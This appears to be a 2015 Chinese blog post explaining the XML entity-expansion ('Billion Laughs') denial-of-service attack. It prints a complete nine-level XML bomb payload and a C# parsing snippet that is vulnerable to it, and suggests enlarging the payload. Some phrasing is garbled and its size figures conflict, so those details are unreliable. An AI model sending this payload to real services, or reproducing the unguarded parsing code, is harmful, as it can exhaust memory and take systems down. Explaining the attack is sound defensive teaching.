发布日期:2015-04-08 17:18:06

什么是XML Bomb?

字面上是XML炸弹,此炸弹有Enitity  Expansion制作而成,而其威力由其聚变当量级决定。下面就是一个9级炸弹。

<?xml version="1.0"?>
<!DOCTYPE bombz [
  <!ENTITY bomb "bomb">
  <!ENTITY bomb2 "&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;&bomb;">
  <!ENTITY bomb3 "&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;&bomb2;">
  <!ENTITY bomb4 "&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;&bomb3;">
  <!ENTITY bomb5 "&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;&bomb4;">
  <!ENTITY bomb6 "&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;&bomb5;">
  <!ENTITY bomb7 "&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;&bomb6;">
  <!ENTITY bomb8 "&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;&bomb7;">
  <!ENTITY bomb9 "&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;&bomb8;">
]>
<bombz>&bomb9;</bombz>

有实体定义可见:Bomb9由k(k=10)个Bomb8组成,由此类推,Bomb[n]由k(k=10)个Bomb[n-1]组成。Bomb9 推算出为10*9次方(1000000000)个的bomb制作而成。上面的例子就可想而知XML内容中放入一个&bomb9,其消耗内存和cpu多强。在处理所有实体扩展之后,XML 这个小 (< 1 KB) 块将实际包含几乎 3.5 GB 的内存占用的一个亿 “ bomb ” s!  您可以为自己使用下面的代码非常简单的块尝试 (有时称为阶层 Laughs 攻击) 这种攻击 — 只需做好终止您测试应用程序进程从任务管理器:

void processXml(string xml)
{
    System.Xml.XmlDocument document = new XmlDocument();
    document.LoadXml(xml);
}

如果设想一下,将&bomb实体的字符串内容设为更大的字符串,而不是现在的'bomb',那效果又会怎么样?!

发表评论